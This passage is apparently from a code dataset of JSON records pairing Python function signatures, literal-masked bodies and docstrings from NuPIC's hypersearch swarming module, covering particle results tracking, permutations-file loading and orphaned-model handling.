string representation of the sorted list of encoders in this\n                     swarm. For example '__address_encoder.__gym_encoder'\n\n        genIdx:  If not None, only return particles at this specific generation\n                      index.\n\n        retval:  (particleStates, modelIds, errScores, completed, matured)\n                  particleStates: list of particleStates\n                  modelIds: list of modelIds\n                  errScores: list of errScores, numpy.inf is plugged in\n                                  if we don't have a result yet\n                  completed: list of completed booleans\n                  matured: list of matured booleans", "id": "f17579:c0:m10"}
{"signature": "def getMaturedSwarmGenerations(self):", "body": "<EOL>result = []<EOL>modifiedSwarmGens = sorted(self._modifiedSwarmGens)<EOL>for key in modifiedSwarmGens:<EOL><INDENT>(swarmId, genIdx) = key<EOL>if key in self._maturedSwarmGens:<EOL><INDENT>self._modifiedSwarmGens.remove(key)<EOL>continue<EOL><DEDENT>if (genIdx >= <NUM_LIT:1>) and not (swarmId, genIdx-<NUM_LIT:1>) in self._maturedSwarmGens:<EOL><INDENT>continue<EOL><DEDENT>(_, _, errScores, completedFlags, maturedFlags) =self.getParticleInfos(swarmId, genIdx)<EOL>maturedFlags = numpy.array(maturedFlags)<EOL>numMatured = maturedFlags.sum()<EOL>if numMatured >= self._hsObj._minParticlesPerSwarmand numMatured == len(maturedFlags):<EOL><INDENT>errScores = numpy.array(errScores)<EOL>bestScore = errScores.min()<EOL>self._maturedSwarmGens.add(key)<EOL>self._modifiedSwarmGens.remove(key)<EOL>result.append((swarmId, genIdx, bestScore))<EOL><DEDENT><DEDENT>return result<EOL>", "docstring": "Return a list of swarm generations that have completed and the\n        best (minimal) errScore seen for each of them.\n\n        Parameters:\n        ---------------------------------------------------------------------\n        retval:  list of tuples. Each tuple is of the form:\n                  (swarmId, genIdx, bestErrScore)", "id": "f17579:c0:m11"}
{"signature": "def firstNonFullGeneration(self, swarmId, minNumParticles):", "body": "if not swarmId in self._swarmNumParticlesPerGeneration:<EOL><INDENT>return None<EOL><DEDENT>numPsPerGen = self._swarmNumParticlesPerGeneration[swarmId]<EOL>numPsPerGen = numpy.array(numPsPerGen)<EOL>firstNonFull = numpy.where(numPsPerGen < minNumParticles)[<NUM_LIT:0>]<EOL>if len(firstNonFull) == <NUM_LIT:0>:<EOL><INDENT>return len(numPsPerGen)<EOL><DEDENT>else:<EOL><INDENT>return firstNonFull[<NUM_LIT:0>]<EOL><DEDENT>", "docstring": "Return the generation index of the first generation in the given\n        swarm that does not have numParticles particles in it, either still in the\n        running state or completed. This does not include orphaned particles.\n\n        Parameters:\n        ---------------------------------------------------------------------\n        swarmId:  A string representation of the sorted list of encoders in this\n                     swarm. For example '__address_encoder.__gym_encoder'\n        minNumParticles: minium number of partices required for a full\n                      generation.\n\n        retval:  generation index, or None if no particles at all.", "id": "f17579:c0:m12"}
{"signature": "def highestGeneration(self, swarmId):", "body": "numPsPerGen = self._swarmNumParticlesPerGeneration[swarmId]<EOL>return len(numPsPerGen)-<NUM_LIT:1><EOL>", "docstring": "Return the generation index of the highest generation in the given\n        swarm.\n\n        Parameters:\n        ---------------------------------------------------------------------\n        swarmId:  A string representation of the sorted list of encoders in this\n                     swarm. For example '__address_encoder.__gym_encoder'\n        retval:  generation index", "id": "f17579:c0:m13"}
{"signature": "def getParticleBest(self, particleId):", "body": "return self._particleBest.get(particleId, (None, None))<EOL>", "docstring": "Return the best score and position for a given particle. The position\n        is given as a dict, with varName:varPosition items in it.\n\n        Parameters:\n        ---------------------------------------------------------------------\n        particleId:    which particle\n        retval:        (bestResult, bestPosition)", "id": "f17579:c0:m14"}
{"signature": "def getResultsPerChoice(self, swarmId, maxGenIdx, varName):", "body": "results = dict()<EOL>(allParticles, _, resultErrs, _, _) = self.getParticleInfos(swarmId,<EOL>genIdx=None, matured=True)<EOL>for particleState, resultErr in zip(allParticles, resultErrs):<EOL><INDENT>if maxGenIdx is not None:<EOL><INDENT>if particleState['<STR_LIT>'] > maxGenIdx:<EOL><INDENT>continue<EOL><DEDENT><DEDENT>if resultErr == numpy.inf:<EOL><INDENT>continue<EOL><DEDENT>position = Particle.getPositionFromState(particleState)<EOL>varPosition = position[varName]<EOL>varPositionStr = str(varPosition)<EOL>if varPositionStr in results:<EOL><INDENT>results[varPositionStr][<NUM_LIT:1>].append(resultErr)<EOL><DEDENT>else:<EOL><INDENT>results[varPositionStr] = (varPosition, [resultErr])<EOL><DEDENT><DEDENT>return results<EOL>", "docstring": "Return a dict of the errors obtained on models that were run with\n        each value from a PermuteChoice variable.\n\n        For example, if a PermuteChoice variable has the following choices:\n          ['a', 'b', 'c']\n\n        The dict will have 3 elements. The keys are the stringified choiceVars,\n        and each value is tuple containing (choiceVar, errors) where choiceVar is\n        the original form of the choiceVar (before stringification) and errors is\n        the list of errors received from models that used the specific choice:\n        retval:\n          ['a':('a', [0.1, 0.2, 0.3]), 'b':('b', [0.5, 0.1, 0.6]), 'c':('c', [])]\n\n\n        Parameters:\n        ---------------------------------------------------------------------\n        swarmId:  swarm Id of the swarm to retrieve info from\n        maxGenIdx: max generation index to consider from other models, ignored\n                    if None\n        varName:  which variable to retrieve\n\n        retval:  list of the errors obtained from each choice.", "id": "f17579:c0:m15"}
{"signature": "def __init__(self, searchParams, workerID=None, cjDAO=None, jobID=None,<EOL>logLevel=None):", "body": "<EOL>self.logger = logging.getLogger(\"<STR_LIT:.>\".join( ['<STR_LIT>',<EOL>self.__class__.__module__, self.__class__.__name__]))<EOL>if logLevel is not None:<EOL><INDENT>self.logger.setLevel(logLevel)<EOL><DEDENT>random.seed(<NUM_LIT>)<EOL>self._searchParams = searchParams<EOL>self._workerID = workerID<EOL>self._cjDAO = cjDAO<EOL>self._jobID = jobID<EOL>self.logger.info(\"<STR_LIT>\" % (pprint.pformat(<EOL>clippedObj(searchParams))))<EOL>self._createCheckpoints = self._searchParams.get('<STR_LIT>',<EOL>False)<EOL>self._maxModels = self._searchParams.get('<STR_LIT>', None)<EOL>if self._maxModels == -<NUM_LIT:1>:<EOL><INDENT>self._maxModels = None<EOL><DEDENT>self._predictionCacheMaxRecords = self._searchParams.get('<STR_LIT>', None)<EOL>self._speculativeParticles = self._searchParams.get('<STR_LIT>',<EOL>bool(int(Configuration.get(<EOL>'<STR_LIT>'))))<EOL>self._speculativeWaitSecondsMax = float(Configuration.get(<EOL>'<STR_LIT>'))<EOL>self._maxBranching= int(Configuration.get(<EOL>'<STR_LIT>'))<EOL>self._minFieldContribution= float(Configuration.get(<EOL>'<STR_LIT>'))<EOL>self._jobCancelled = False<EOL>if '<STR_LIT>' in self._searchParams:<EOL><INDENT>useTerminators = self._searchParams['<STR_LIT>']<EOL>useTerminators = str(int(useTerminators))<EOL>Configuration.set('<STR_LIT>', useTerminators)<EOL>Configuration.set('<STR_LIT>', useTerminators)<EOL>Configuration.set('<STR_LIT>', useTerminators)<EOL><DEDENT>if '<STR_LIT>' in os.environ:<EOL><INDENT>self._maxModels = int(os.environ['<STR_LIT>'])<EOL><DEDENT>self._dummyModel = self._searchParams.get('<STR_LIT>', None)<EOL>self._tempDir = None<EOL>try:<EOL><INDENT>if '<STR_LIT:description>' in self._searchParams:<EOL><INDENT>if ('<STR_LIT>' in self._searchParams or<EOL>'<STR_LIT>' in self._searchParams or<EOL>'<STR_LIT>' in self._searchParams):<EOL><INDENT>raise RuntimeError(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT>searchParamObj = self._searchParams<EOL>anomalyParams = searchParamObj['<STR_LIT:description>'].get('<STR_LIT>',<EOL>dict())<EOL>if anomalyParams is None:<EOL><INDENT>anomalyParams = dict()<EOL><DEDENT>if (('<STR_LIT>' not in anomalyParams) or<EOL>(anomalyParams['<STR_LIT>'] is None)):<EOL><INDENT>streamDef = self._getStreamDef(searchParamObj['<STR_LIT:description>'])<EOL>from nupic.data.stream_reader import StreamReader<EOL>try:<EOL><INDENT>streamReader = StreamReader(streamDef, isBlocking=False,<EOL>maxTimeout=<NUM_LIT:0>, eofOnTimeout=True)<EOL>anomalyParams['<STR_LIT>'] =streamReader.getDataRowCount()<EOL><DEDENT>except Exception:<EOL><INDENT>anomalyParams['<STR_LIT>'] = None<EOL><DEDENT>self._searchParams['<STR_LIT:description>']['<STR_LIT>'] = anomalyParams<EOL><DEDENT>outDir = self._tempDir = tempfile.mkdtemp()<EOL>expGenerator([<EOL>'<STR_LIT>' % (<EOL>json.dumps(self._searchParams['<STR_LIT:description>'])),<EOL>'<STR_LIT>',<EOL>'<STR_LIT>' % (outDir)])<EOL>permutationsScript = os.path.join(outDir, '<STR_LIT>')<EOL><DEDENT>elif '<STR_LIT>' in self._searchParams:<EOL><INDENT>if ('<STR_LIT:description>' in self._searchParams or<EOL>'<STR_LIT>' in self._searchParams or<EOL>'<STR_LIT>' in self._searchParams):<EOL><INDENT>raise RuntimeError(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT>permutationsScript = self._searchParams['<STR_LIT>']<EOL><DEDENT>elif '<STR_LIT>' in self._searchParams:<EOL><INDENT>if ('<STR_LIT:description>' in self._searchParams or<EOL>'<STR_LIT>' in self._searchParams):<EOL><INDENT>raise RuntimeError(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT>assert ('<STR_LIT>' in self._searchParams)<EOL>outDir = self._tempDir = tempfile.mkdtemp()<EOL>permutationsScript = os.path.join(outDir, '<STR_LIT>')<EOL>fd = open(permutationsScript, '<STR_LIT:w>')<EOL>fd.write(self._searchParams['<STR_LIT>'])<EOL>fd.close()<EOL>fd = open(os.path.join(outDir, '<STR_LIT>'), '<STR_LIT:w>')<EOL>fd.write(self._searchParams['<STR_LIT>'])<EOL>fd.close()<EOL><DEDENT>else:<EOL><INDENT>raise RuntimeError (\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT>self._basePath = os.path.dirname(permutationsScript)<EOL>self._baseDescription = open(os.path.join(self._basePath,<EOL>'<STR_LIT>')).read()<EOL>self._baseDescriptionHash = hashlib.md5(self._baseDescription).digest()<EOL>modelDescription, _ = helpers.loadExperiment(self._basePath)<EOL>self._readPermutationsFile(permutationsScript, modelDescription)<EOL>if self._cjDAO is not None:<EOL><INDENT>updated = self._cjDAO.jobSetFieldIfEqual(jobID=self._jobID,<EOL>fieldName='<STR_LIT>',<EOL>curValue=None,<EOL>newValue = self._baseDescription)<EOL>if updated:<EOL><INDENT>permContents = open(permutationsScript).read()<EOL>self._cjDAO.jobSetFieldIfEqual(jobID=self._jobID,<EOL>fieldName='<STR_LIT>',<EOL>curValue=None,<EOL>newValue = permContents)<EOL><DEDENT><DEDENT>if self._dummyModelParamsFunc is not None:<EOL><INDENT>if self._dummyModel is None:<EOL><INDENT>self._dummyModel = dict()<EOL><DEDENT><DEDENT>if self.logger.getEffectiveLevel() <= logging.DEBUG:<EOL><INDENT>msg = io.StringIO()<EOL>print(\"<STR_LIT>\", file=msg)<EOL>info = dict()<EOL>for key in ['<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>']:<EOL><INDENT>info[key] = getattr(self, key)<EOL><DEDENT>print(pprint.pformat(info), file=msg)<EOL>self.logger.debug(msg.getvalue())<EOL>msg.close()<EOL><DEDENT>self._resultsDB = ResultsDB(self)<EOL>self._swarmTerminator = SwarmTerminator()<EOL>self._hsState = None<EOL>self._maxUniqueModelAttempts = int(Configuration.get(<EOL>'<STR_LIT>'))<EOL>self._modelOrphanIntervalSecs = float(Configuration.get(<EOL>'<STR_LIT>'))<EOL>self._maxPctErrModels = float(Configuration.get(<EOL>'<STR_LIT>'))<EOL><DEDENT>except:<EOL><INDENT>if self._tempDir is not None:<EOL><INDENT>shutil.rmtree(self._tempDir)<EOL>self._tempDir = None<EOL><DEDENT>raise<EOL><DEDENT>return<EOL>", "docstring": "Instantiate the HyperseachV2 instance.\n\n        Parameters:\n        ----------------------------------------------------------------------\n        searchParams:   a dict of the job's search parameters. The format is:\n\n          persistentJobGUID:  REQUIRED.\n                              Persistent, globally-unique identifier for this job\n                              for use in constructing persistent model checkpoint\n                              keys. MUST be compatible with S3 key-naming rules, but\n                              MUST NOT contain forward slashes. This GUID is\n                              expected to retain its global uniqueness across\n                              clusters and cluster software updates (unlike the\n                              record IDs in the Engine's jobs table, which recycle\n                              upon table schema change and software update). In the\n                              future, this may also be instrumental for checkpoint\n                              garbage collection.\n\n          permutationsPyFilename:\n                              OPTIONAL - path to permutations.py file\n          permutationsPyContents:\n                              OPTIONAL - JSON encoded string with\n                                          contents of permutations.py file\n          descriptionPyContents:\n                              OPTIONAL - JSON encoded string with\n                                          contents of base description.py file\n          description:        OPTIONAL - JSON description of the search\n          createCheckpoints:  OPTIONAL - Whether to create checkpoints\n          useTerminators      OPTIONAL - True of False (default config.xml). When set\n                                         to False, the model and swarm terminators\n                                         are disabled\n          maxModels:          OPTIONAL - max # of models to generate\n                                        NOTE: This is a deprecated location for this\n                                        setting. Now, it should be specified through\n                                        the maxModels variable within the permutations\n                                        file, or maxModels in the JSON description\n          dummyModel:         OPTIONAL - Either (True/False) or a dict of parameters\n                                         for a dummy model. If this key is absent,\n                                         a real model is trained.\n                                         See utils.py/OPFDummyModel runner for the\n                                         schema of the dummy parameters\n          speculativeParticles OPTIONAL - True or False (default obtained from\n                                         nupic.hypersearch.speculative.particles.default\n                                         configuration property). See note below.\n\n          NOTE: The caller must provide just ONE of the following to describe the\n          hypersearch:\n                1.) permutationsPyFilename\n            OR  2.) permutationsPyContents & permutationsPyContents\n            OR  3.) description\n\n          The schema for the description element can be found at:\n           \"py/nupic/frameworks/opf/expGenerator/experimentDescriptionSchema.json\"\n\n          NOTE about speculativeParticles: If true (not 0), hypersearch workers will\n          go ahead and create and run particles in subsequent sprints and\n          generations before the current generation or sprint has been completed. If\n          false, a worker will wait in a sleep loop until the current generation or\n          sprint has finished before choosing the next particle position or going\n          into the next sprint. When true, the best model can be found faster, but\n          results are less repeatable due to the randomness of when each worker\n          completes each particle. This property can be overridden via the\n          speculativeParticles element of the Hypersearch job params.\n\n\n        workerID:   our unique Hypersearch worker ID\n\n        cjDAO:      ClientJobsDB Data Access Object\n        jobID:      job ID for this hypersearch job\n        logLevel:   override logging level to this value, if not None", "id": "f17579:c1:m0"}
{"signature": "def _getStreamDef(self, modelDescription):", "body": "<EOL>aggregationPeriod = {<EOL>'<STR_LIT>': <NUM_LIT:0>,<EOL>'<STR_LIT>': <NUM_LIT:0>,<EOL>'<STR_LIT>': <NUM_LIT:0>,<EOL>'<STR_LIT>': <NUM_LIT:0>,<EOL>'<STR_LIT>': <NUM_LIT:0>,<EOL>'<STR_LIT>': <NUM_LIT:0>,<EOL>'<STR_LIT>': <NUM_LIT:0>,<EOL>'<STR_LIT>': <NUM_LIT:0>,<EOL>'<STR_LIT>': <NUM_LIT:0>,<EOL>}<EOL>aggFunctionsDict = {}<EOL>if '<STR_LIT>' in modelDescription['<STR_LIT>']:<EOL><INDENT>for key in list(aggregationPeriod.keys()):<EOL><INDENT>if key in modelDescription['<STR_LIT>']['<STR_LIT>']:<EOL><INDENT>aggregationPeriod[key] = modelDescription['<STR_LIT>']['<STR_LIT>'][key]<EOL><DEDENT><DEDENT>if '<STR_LIT>' in modelDescription['<STR_LIT>']['<STR_LIT>']:<EOL><INDENT>for (fieldName, func) in modelDescription['<STR_LIT>']['<STR_LIT>']['<STR_LIT>']:<EOL><INDENT>aggFunctionsDict[fieldName] = str(func)<EOL><DEDENT><DEDENT><DEDENT>hasAggregation = False<EOL>for v in list(aggregationPeriod.values()):<EOL><INDENT>if v != <NUM_LIT:0>:<EOL><INDENT>hasAggregation = True<EOL>break<EOL><DEDENT><DEDENT>aggFunctionList = list(aggFunctionsDict.items())<EOL>aggregationInfo = dict(aggregationPeriod)<EOL>aggregationInfo['<STR_LIT>'] = aggFunctionList<EOL>streamDef = copy.deepcopy(modelDescription['<STR_LIT>'])<EOL>streamDef['<STR_LIT>'] = copy.deepcopy(aggregationInfo)<EOL>return streamDef<EOL>", "docstring": "Generate stream definition based on", "id": "f17579:c1:m1"}
{"signature": "def __del__(self):", "body": "self.close()<EOL>return<EOL>", "docstring": "Destructor; NOTE: this is not guaranteed to be called (bugs like\n        circular references could prevent it from being called).", "id": "f17579:c1:m2"}
{"signature": "def close(self):", "body": "if self._tempDir is not None and os.path.isdir(self._tempDir):<EOL><INDENT>self.logger.debug(\"<STR_LIT>\", self._tempDir)<EOL>shutil.rmtree(self._tempDir)<EOL>self._tempDir = None<EOL><DEDENT>return<EOL>", "docstring": "Deletes temporary system objects/files.", "id": "f17579:c1:m3"}
{"signature": "def _readPermutationsFile(self, filename, modelDescription):", "body": "<EOL>vars = {}<EOL>permFile = exec(compile(open(filename, \"<STR_LIT:rb>\").read(), filename, '<STR_LIT>'), globals(), vars)<EOL>self._reportKeys = vars.get('<STR_LIT>', [])<EOL>self._filterFunc = vars.get('<STR_LIT>', None)<EOL>self._dummyModelParamsFunc = vars.get('<STR_LIT>', None)<EOL>self._predictedField = None   <EOL>self._predictedFieldEncoder = None   <EOL>self._fixedFields = None <EOL>self._fastSwarmModelParams = vars.get('<STR_LIT>', None)<EOL>if self._fastSwarmModelParams is not None:<EOL><INDENT>encoders = self._fastSwarmModelParams['<STR_LIT>']['<STR_LIT>']['<STR_LIT>']['<STR_LIT>']<EOL>self._fixedFields = []<EOL>for fieldName in encoders:<EOL><INDENT>if encoders[fieldName] is not None:<EOL><INDENT>self._fixedFields.append(fieldName)<EOL><DEDENT><DEDENT><DEDENT>if '<STR_LIT>' in vars:<EOL><INDENT>self._fixedFields = vars['<STR_LIT>']<EOL><DEDENT>self._minParticlesPerSwarm = vars.get('<STR_LIT>')<EOL>if self._minParticlesPerSwarm  == None:<EOL><INDENT>self._minParticlesPerSwarm = Configuration.get(<EOL>'<STR_LIT>')<EOL><DEDENT>self._minParticlesPerSwarm = int(self._minParticlesPerSwarm)<EOL>self._killUselessSwarms = vars.get('<STR_LIT>', True)<EOL>self._inputPredictedField = vars.get(\"<STR_LIT>\", \"<STR_LIT:yes>\")<EOL>self._tryAll3FieldCombinations = vars.get('<STR_LIT>', False)<EOL>self._tryAll3FieldCombinationsWTimestamps = vars.get(<EOL>'<STR_LIT>', False)<EOL>minFieldContribution = vars.get('<STR_LIT>', None)<EOL>if minFieldContribution is not None:<EOL><INDENT>self._minFieldContribution = minFieldContribution<EOL><DEDENT>maxBranching = vars.get('<STR_LIT>', None)<EOL>if maxBranching is not None:<EOL><INDENT>self._maxBranching = maxBranching<EOL><DEDENT>if '<STR_LIT>' in vars:<EOL><INDENT>self._optimizeKey = vars['<STR_LIT>']<EOL>self._maximize = True<EOL><DEDENT>elif '<STR_LIT>' in vars:<EOL><INDENT>self._optimizeKey = vars['<STR_LIT>']<EOL>self._maximize = False<EOL><DEDENT>else:<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT>maxModels = vars.get('<STR_LIT>')<EOL>if maxModels is not None:<EOL><INDENT>if self._maxModels is None:<EOL><INDENT>self._maxModels = maxModels<EOL><DEDENT>else:<EOL><INDENT>raise RuntimeError('<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT><DEDENT>inferenceType = modelDescription['<STR_LIT>']['<STR_LIT>']<EOL>if not InferenceType.validate(inferenceType):<EOL><INDENT>raise ValueError(\"<STR_LIT>\" %inferenceType)<EOL><DEDENT>if inferenceType in [InferenceType.TemporalMultiStep,<EOL>InferenceType.NontemporalMultiStep]:<EOL><INDENT>classifierOnlyEncoder = None<EOL>for encoder in list(modelDescription[\"<STR_LIT>\"][\"<STR_LIT>\"][\"<STR_LIT>\"].values()):<EOL><INDENT>if encoder.get(\"<STR_LIT>\", False)and encoder[\"<STR_LIT>\"] == vars.get('<STR_LIT>', None):<EOL><INDENT>classifierOnlyEncoder = encoder<EOL>break<EOL><DEDENT><DEDENT>if classifierOnlyEncoder is None or self._inputPredictedField==\"<STR_LIT:yes>\":<EOL><INDENT>self._searchType = HsSearchType.legacyTemporal<EOL><DEDENT>else:<EOL><INDENT>self._searchType = HsSearchType.temporal<EOL><DEDENT><DEDENT>elif inferenceType in [InferenceType.TemporalNextStep,<EOL>InferenceType.TemporalAnomaly]:<EOL><INDENT>self._searchType = HsSearchType.legacyTemporal<EOL><DEDENT>elif inferenceType in (InferenceType.TemporalClassification,<EOL>InferenceType.NontemporalClassification):<EOL><INDENT>self._searchType = HsSearchType.classification<EOL><DEDENT>else:<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\" % inferenceType)<EOL><DEDENT>self._predictedField = vars.get('<STR_LIT>', None)<EOL>if self._predictedField is None:<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % filename)<EOL><DEDENT>if '<STR_LIT>' not in vars:<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\" % filename)<EOL><DEDENT>if not isinstance(vars['<STR_LIT>'], dict):<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT>self._encoderNames = []<EOL>self._permutations = vars['<STR_LIT>']<EOL>self._flattenedPermutations = dict()<EOL>def _flattenPermutations(value, keys):<EOL><INDENT>if '<STR_LIT::>' in keys[-<NUM_LIT:1>]:<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT>flatKey = _flattenKeys(keys)<EOL>if isinstance(value, PermuteEncoder):<EOL><INDENT>self._encoderNames.append(flatKey)<EOL>if value.fieldName == self._predictedField:<EOL><INDENT>self._predictedFieldEncoder = flatKey<EOL><DEDENT>for encKey, encValue in value.kwArgs.items():<EOL><INDENT>if isinstance(encValue, PermuteVariable):<EOL><INDENT>self._flattenedPermutations['<STR_LIT>' % (flatKey, encKey)] = encValue<EOL><DEDENT><DEDENT><DEDENT>elif isinstance(value, PermuteVariable):<EOL><INDENT>self._flattenedPermutations[flatKey] = value<EOL><DEDENT>else:<EOL><INDENT>if isinstance(value, PermuteVariable):<EOL><INDENT>self._flattenedPermutations[key] = value<EOL><DEDENT><DEDENT><DEDENT>rApply(self._permutations, _flattenPermutations)<EOL>", "docstring": "Read the permutations file and initialize the following member variables:\n    _predictedField: field name of the field we are trying to\n      predict\n    _permutations: Dict containing the full permutations dictionary.\n    _flattenedPermutations: Dict containing the flattened version of\n      _permutations. The keys leading to the value in the dict are joined\n      with a period to create the new key and permute variables within\n      encoders are pulled out of the encoder.\n    _encoderNames: keys from self._permutations of only the encoder\n      variables.\n    _reportKeys:   The 'report' list from the permutations file.\n      This is a list of the items from each experiment's pickled\n      results file that should be included in the final report. The\n      format of each item is a string of key names separated by colons,\n      each key being one level deeper into the experiment results\n      dict. For example, 'key1:key2'.\n    _filterFunc: a user-supplied function that can be used to\n      filter out specific permutation combinations.\n    _optimizeKey: which report key to optimize for\n    _maximize: True if we should try and maximize the optimizeKey\n      metric. False if we should minimize it.\n    _dummyModelParamsFunc: a user-supplied function that can be used to\n      artificially generate HTMPredictionModel results. When supplied,\n      the model is not actually run through the OPF, but instead is run\n      through a \"Dummy Model\" (nupic.swarming.ModelRunner.\n      OPFDummyModelRunner). This function returns the params dict used\n      to control various options in the dummy model (the returned metric,\n      the execution time, etc.). This is used for hypersearch algorithm\n      development.\n\nParameters:\n---------------------------------------------------------\nfilename:     Name of permutations file\nretval:       None", "id": "f17579:c1:m4"}
{"signature": "def getExpectedNumModels(self):", "body": "return -<NUM_LIT:1><EOL>", "docstring": "Computes the number of models that are expected to complete as part of\n        this instances's HyperSearch.\n\n        NOTE: This is compute-intensive for HyperSearches with a huge number of\n        combinations.\n\n        NOTE/TODO:  THIS ONLY WORKS FOR RONOMATIC: This method is exposed for the\n                    benefit of perutations_runner.py for use in progress\n                    reporting.\n\n        Parameters:\n        ---------------------------------------------------------\n        retval:       The total number of expected models, if known; -1 if unknown", "id": "f17579:c1:m5"}
{"signature": "def getModelNames(self):", "body": "return None<EOL>", "docstring": "Generates a list of model names that are expected to complete as part of\n        this instances's HyperSearch.\n\n        NOTE: This is compute-intensive for HyperSearches with a huge number of\n        combinations.\n\n        NOTE/TODO:  THIS ONLY WORKS FOR RONOMATIC: This method is exposed for the\n                    benefit of perutations_runner.py.\n\n        Parameters:\n        ---------------------------------------------------------\n        retval:       List of model names for this HypersearchV2 instance, or\n                      None of not applicable", "id": "f17579:c1:m6"}
{"signature": "def getPermutationVariables(self):", "body": "return self._flattenedPermutations<EOL>", "docstring": "Returns a dictionary of permutation variables.\n\n        Parameters:\n        ---------------------------------------------------------\n        retval:       A dictionary of permutation variables; keys are\n                      flat permutation variable names and each value is\n                      a sub-class of PermuteVariable.", "id": "f17579:c1:m7"}
{"signature": "def getComplexVariableLabelLookupDict(self):", "body": "raise NotImplementedError<EOL>", "docstring": "Generates a lookup dictionary of permutation variables whose values\n        are too complex for labels, so that artificial labels have to be generated\n        for them.\n\n        Parameters:\n        ---------------------------------------------------------\n        retval:       A look-up dictionary of permutation\n                      variables whose values are too complex for labels, so\n                      artificial labels were generated instead (e.g., \"Choice0\",\n                      \"Choice1\", etc.); the key is the name of the complex variable\n                      and the value is:\n                        dict(labels=<list_of_labels>, values=<list_of_values>).", "id": "f17579:c1:m8"}
{"signature": "def getOptimizationMetricInfo(self):", "body": "return (self._optimizeKey, self._maximize)<EOL>", "docstring": "Retrives the optimization key name and optimization function.\n\n        Parameters:\n        ---------------------------------------------------------\n        retval:       (optimizationMetricKey, maximize)\n                      optimizationMetricKey: which report key to optimize for\n                      maximize: True if we should try and maximize the optimizeKey\n                        metric. False if we should minimize it.", "id": "f17579:c1:m9"}
{"signature": "def _checkForOrphanedModels (self):", "body": "self.logger.debug(\"<STR_LIT>\" %(self._modelOrphanIntervalSecs))<EOL>while True:<EOL><INDENT>orphanedModelId = self._cjDAO.modelAdoptNextOrphan(self._jobID,<EOL>self._modelOrphanIntervalSecs)<EOL>if orphanedModelId is None:<EOL><INDENT>return<EOL><DEDENT>self.logger.info(\"<STR_LIT>\" % (orphanedModelId))<EOL>for attempt in range(<NUM_LIT:100>):<EOL><INDENT>paramsHash = hashlib.md5(\"<STR_LIT>\" % (orphanedModelId,<EOL>attempt)).digest()<EOL>particleHash = hashlib.md5(\"<STR_LIT>\" % (orphanedModelId,<EOL>attempt)).digest()<EOL>try:<EOL><INDENT>self._cjDAO.modelSetFields(orphanedModelId,<EOL>dict(engParamsHash=paramsHash,<EOL>engParticleHash=particleHash))<EOL>success = True<EOL><DEDENT>except:<EOL><INDENT>success = False<EOL><DEDENT>if success:<EOL><INDENT>break<EOL><DEDENT><DEDENT>if not success:<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT>self._cjDAO.modelSetCompleted(modelID=orphanedModelId,<EOL>completionReason=ClientJobsDAO.CMPL_REASON_ORPHAN,<EOL>completionMsg=\"<STR_LIT>\")<EOL>self._resultsDB.update(modelID=orphanedModelId,<EOL>modelParams=None,<EOL>modelParamsHash=paramsHash,<EOL>metricResult=None,<EOL>completed = True,<EOL>completionReason = ClientJobsDAO.CMPL_REASON_ORPHAN,<EOL>matured = True,<EOL>numRecords = <NUM_LIT:0>)<EOL><DEDENT>", "docstring": "If there are any models that haven't been updated in a while, consider\n        them dead, and mark them as hidden in our resultsDB. We also change the\n        paramsHash and particleHash of orphaned models so that we can\n        re-generate that particle and/or model again if we desire.\n\n        Parameters:\n        ----------------------------------------------------------------------\n        retval:", "id": "f17579:c1:m10"}
{"signature": "def _hsStatePeriodicUpdate(self, exhaustedSwarmId=None):", "body": "if self._hsState is None:<EOL><INDENT>self._hsState =  HsState(self)<EOL><DEDENT>self._hsState.readStateFromDB()<EOL>completedSwarms = set()<EOL>if exhaustedSwarmId is not None:<EOL><INDENT>self.logger.info(\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % (exhaustedSwarmId))<EOL>(particles, _, _, _, _) = self._resultsDB.getParticleInfos(<EOL>swarmId=exhaustedSwarmId, matured=False)<EOL>if len(particles) > <NUM_LIT:0>:<EOL><INDENT>exhaustedSwarmStatus = '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>exhaustedSwarmStatus = '<STR_LIT>'<EOL><DEDENT><DEDENT>if self._killUselessSwarms:<EOL><INDENT>self._hsState.killUselessSwarms()<EOL><DEDENT>completingSwarms = self._hsState.getCompletingSwarms()<EOL>for swarmId in completingSwarms:<EOL><INDENT>(particles, _, _, _, _) = self._resultsDB.getParticleInfos(<EOL>swarmId=swarmId, matured=False)<EOL>if len(particles) == <NUM_LIT:0>:<EOL><INDENT>completedSwarms.add(swarmId)<EOL><DEDENT><DEDENT>completedSwarmGens = self._resultsDB.getMaturedSwarmGenerations()<EOL>priorCompletedSwarms = self._hsState.getCompletedSwarms()<EOL>for (swarmId, genIdx, errScore) in completedSwarmGens:<EOL><INDENT>if swarmId in priorCompletedSwarms:<EOL><INDENT>continue<EOL><DEDENT>completedList = self._swarmTerminator.recordDataPoint(<EOL>swarmId=swarmId, generation=genIdx, errScore=errScore)<EOL>statusMsg = \"<STR_LIT>\"\"<STR_LIT>\" % (genIdx, swarmId, errScore)<EOL>if len(completedList) > <NUM_LIT:0>:<EOL><INDENT>statusMsg = \"<STR_LIT>\" % (statusMsg, completedList)<EOL><DEDENT>self.logger.info(statusMsg)<EOL>self._cjDAO.jobSetFields (jobID=self._jobID,<EOL>fields=dict(engStatus=statusMsg),<EOL>useConnectionID=False,<EOL>ignoreUnchanged=True)<EOL>if '<STR_LIT>' in 